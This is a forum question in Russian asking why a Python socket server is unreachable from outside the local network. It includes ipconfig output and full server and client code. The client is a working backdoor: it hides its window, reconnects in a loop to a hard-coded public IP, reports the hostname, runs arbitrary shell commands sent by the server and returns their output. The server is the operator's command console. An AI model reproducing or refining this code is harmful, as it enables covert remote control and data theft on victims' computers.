@Davidow

Как создать подключение через socket python без локалки?

Я создал простой сервер на пк и не могу к нему подключиться через внешний ip адрес, но когда я пробую проверить открыт ли порт через CanYouSeeMe.org, у меня выстраивается соидинение с сокетом.
ipconfig:

Настройка протокола IP для Windows

Адаптер Ethernet Ethernet:

Состояние среды. . . . . . . . : Среда передачи недоступна.
DNS-суффикс подключения . . . . . :

Адаптер Ethernet Hamachi:

DNS-суффикс подключения . . . . . :
IPv6-адрес. . . . . . . . . . . . : 2620:9b::194f:4206
Локальный IPv6-адрес канала . . . : fe80::2c58:ff32:72f0:9ad8%4
IPv4-адрес. . . . . . . . . . . . : 25.79.66.6
Маска подсети . . . . . . . . . . : 255.0.0.0
Основной шлюз. . . . . . . . . : 2620:9b::1900:1
25.0.0.1

Адаптер беспроводной локальной сети Подключение по локальной сети* 1:

Состояние среды. . . . . . . . : Среда передачи недоступна.
DNS-суффикс подключения . . . . . :

Адаптер беспроводной локальной сети Подключение по локальной сети* 10:

Состояние среды. . . . . . . . : Среда передачи недоступна.
DNS-суффикс подключения . . . . . :

Адаптер беспроводной локальной сети Беспроводная сеть:

DNS-суффикс подключения . . . . . :
Локальный IPv6-адрес канала . . . : fe80::881a:4755:c677:80b1%11
IPv4-адрес. . . . . . . . . . . . : 192.168.1.7
Маска подсети . . . . . . . . . . : 255.255.255.0
Основной шлюз. . . . . . . . . : 192.168.1.1

Адаптер Ethernet Сетевое подключение Bluetooth:

Состояние среды. . . . . . . . : Среда передачи недоступна.
DNS-суффикс подключения . . . . . :

Сервер
import os
import socket



print(socket.gethostname())
s = socket.socket()
host = '0.0.0.0'
port = 8080
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
print(addr)
files = conn.recv(5000)
files = files.decode()
print(files)
while 1:
    command = input(str("Comand >> "))
    if command == "view_cd":
        conn.send(command.encode())

        files = conn.recv(5000)
        files = files.decode()
        print("Command output: ")
        print(files)
    elif command.split(',')[0] == 'powershell':
        if command.split(',')[2] == 'callback':
            conn.send(command.encode())
            files = conn.recv(5000)
            files = files.decode()
            print("Command output: ")
            print(files)
        else:
            conn.send(command.encode())
    elif command == 'show_error':
        conn.send(command.encode())
    else:
        print("Command error")

Клиент
import os
import socket
from subprocess import Popen, PIPE
import tkinter
from tkinter import messagebox
import time

# hide main window
root = tkinter.Tk()
root.withdraw()
while 1:
    try:
        s = socket.socket()
        host = '95.133.224.63'
        port = 8080
        print("Server adress: ", host, port)
        s.connect((host,port))

        print("Conncet successfully")
        s.send(str(socket.gethostname()).encode())
        while 1:
            command = s.recv(1024)
            command = command.decode()
            print("Comand recieved")
            if command == "view_cd":
                files = str(os.getcwd())
                s.send(files.encode())
            elif command.split(',')[0] == 'powershell':
                
                proc = Popen(
                    command.split(',')[1],
                    shell=True,
                    stdout=PIPE, stderr=PIPE
                )
                proc.wait()    # дождаться выполнения
                res = proc.communicate()  # получить tuple('stdout', 'stderr')
                if proc.returncode:
                    print(res[1].decode('cp866'))
                    s.send(res[1].decode('cp866').encode())
                s.send(res[0].decode('cp866').encode())
                print('result:', res[0].decode('cp866'))
            elif command == "show_error":
                for el in range(10):
                    messagebox.showerror("Test", "Test")
            else:
                print("Command error")
                
    except:
        print("Error to connect")
        time.sleep(1)
  • Вопрос задан
  • 1198 просмотров
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы